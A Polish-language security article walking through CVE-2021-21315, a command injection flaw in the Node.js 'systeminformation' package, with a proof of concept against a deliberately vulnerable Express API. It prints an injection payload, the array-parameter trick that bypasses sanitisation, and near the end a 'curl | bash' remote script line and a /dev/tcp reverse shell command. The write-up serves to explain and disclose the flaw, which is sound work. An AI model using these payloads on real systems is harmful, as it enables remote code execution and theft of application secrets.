Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

CVE-2021-21315: omówienie luki w popularnej paczce Node.js

02 marca 2021, 23:35 | Aktualności | 1 komentarz

Jak wynika z tego raportu, popularna paczka Node.js “systeminformation” posiadała podatność  (CVE-2021-21315) typu “command injection”. W artykule znajduje się prosty “Proof of Concept”, który pomoże w zrozumieniu samej podatności. Zacznijmy jednak od wyjaśnienia, czym właściwie jest “systeminformation”.

Biblioteka “systeminformation” 

Więcej na temat tej biblioteki znajdziemy na npmjs.com:

Jak widać na załączonym obrazku, “systeminformation” posiada łącznie około 30 milionów pobrań. Liczba tygodniowych pobrań jest również zaskakująco duża – 860 573.

Zdaniem twórców biblioteka jest prostym rozwiązaniem umożliwiającym uzyskiwanie szczegółowych informacji o systemie, procesorze pamięci, dyskach / systemie plików, sieci, dockerze, oprogramowaniu, usługach i procesach.

Tyle formalności.Przyjrzyjmy się teraz opisowi podatności na cve.mitre.org:

“be sure to check or sanitize service parameters that are passed to […] do only allow strings, reject any arrays. String sanitation works as expected. “

Z uwagi na fakt,  że opis podatności jest dość zdawkowy, postanowiłem stworzyć prosty “Proof of Concept”, który pomoże w zrozumieniu podatności. PoC składa się z:

  1. Prostego “API” w Node.js wykorzystującego  express.js oraz podatny “systeminformation”,
  2. Pakietu “systeminformation” po lekkich modyfikacjach (funkcje nie zawierają poprawki bezpieczeństwa).

Tak prezentuje się kod analizowanej aplikacji:

const http = require('http');
const si = require('systeminformation');
var express = require('express');
var app = express();
const port = 8000;
app.get('/api/getServices', (req, res) => {
  const queryData = req.query.name
  si.services(queryData).then((data) => {
  console.log(data);
  res.json(data);
  });
});
app.get('/api/checkSite', (req, res) => {
  const queryData = req.query.url
  si.inetChecksite(queryData).then((data) => {
  console.log(data);
  res.json(data);
  });
});
app.listen(port, () => console.log('Hello world'))

Nie ma tu żadnej większej filozofii. Przykładowo, w czasie wykonywania zapytania GET http://site.com/api/getServices?name=nginx  wartość “nginx” zostanie wykorzystana w funkcji “si.services”, a to, co zwraca ta funkcja, zostanie wyświetlone przez naszą aplikację w formacie JSON. Sprawdźmy to!

Jak widać, nasze API zadziałało tak, jak tego oczekiwaliśmy. Pamiętając, że podatność w naszym pakiecie to “command injection”, spróbujmy zmienić wartość z “nginx” na złośliwą komendę np. $(echo -e 'Sekurak’ > pwn.txt):

Łatwo zauważyć, że, wartość “name” różni się od tego, co podaliśmy na wejściu. Plik również nie został utworzony. Wróćmy na chwilę do opisu podatności:

“do only allow strings, reject any arrays. String sanitation works as expected.“

Sanitize po polsku oznacza “odkażanie”. W tym przypadku biblioteka “odkaża” dane wejściowe od użytkownika (nas), przez co $(echo -e 'Sekurak’ > pwn.txt) zamieniło się w bezpieczne echo -e sekurak pwn.txt.

Jeśli opis mówi nam wprost. że “odkażanie działa jak należy”, to zostaje nam tylko ten fragment: “do only allow strings, reject any arrays.”

Zmiana ta jest widoczna w poprawce “systeminformation” na GitHubie:

Pamiętamy jednak, że my korzystamy z wersji przed poprawką, czyli nasza biblioteka nie zawiera kodu z powyższego obrazka. Ponieważ opis błędu mówi wyraźnie: “reject any arrays”, my zrobimy dokładnie na odwrót : )

Aby naszą “złośliwą komendę” wysłać w postaci “array”, wystarczy po “name” dodać “[]”.

Tym razem zwrócona wartość “name” jest dokładnie taka sama, jak to, co podaliśmy. 

Nasza “złośliwa komenda” zadziałała, tworząc plik “pwn.txt”. Wysłanie komendy w postaci “array” ominęło funkcję “sanitize”, odpowiedzialną za “odkażanie” danych wejściowych:

Czy 30 milionów użytkowników pakietu powinno obawiać się teraz pliku “pwn.txt” z tekstem “Sekurak”? Nie. Pamiętajmy jednak, że możemy wykonywać dowolne komendy systemowe i że ogranicza nas jedynie wyobraźnia. Tu wymyśliłem dość nietypowy sposób na wykorzystanie podatności.

Komenda kopiuje zawartość index.js (dzięki temu będziemy mieli dostęp do kodu źródłowego aplikacji, w tym potencjalnie do kluczy API i innych wrażliwych danych np. połączenia z bazą danych). Teraz w ramach testu wyślijmy plik “pwn123.txt” prosto na nas!

I gotowe. Oto mamy właśnie kod źródłowy aplikacji : )

const http = require('http');
const si = require('systeminformation');
var express = require('express');
var app = express();
const port = 8000;
app.get('/api/getServices', (req, res) => {
  const queryData = req.query.name
  si.services(queryData).then((data) => {
  console.log(data);
  res.json(data);
  });
});
app.get('/api/checkSite', (req, res) => {
  const queryData = req.query.url
  si.inetChecksite(queryData).then((data) => {
  console.log(data);
  res.json(data);
  });
});
app.listen(port, () => console.log('Hello world'))

Oczywiście nasza aplikacja była bardzo prosta, więc nie zawierała wrażliwych danych w kodzie źródłowym. Pamiętaj jednak, że atakujący ma bardzo wiele możliwości, np.

curl -s http://server/path/script.sh | bash /dev/stdin arg1 arg2 – zdalne wykonywanie skryptu czy bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 – reverse shell.

Na koniec, możemy też zdalnie wyłączyć naszą aplikację:

Zabiliśmy proces node, co spowodowało przerwanie działania naszej aplikacji:

Całość jest dostępna na GitHubie tutaj

Jeśli lubisz “psuć” w podobny sposób, to zapoznaj się z postem na temat reaktywacji rozwal.to 

Błąd w „systeminformation” został naprawiony w aktualizacji 5.3.1.

~ Jakub Bielaszewski

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. adres IP site.com
    Odpowiedz

Odpowiedz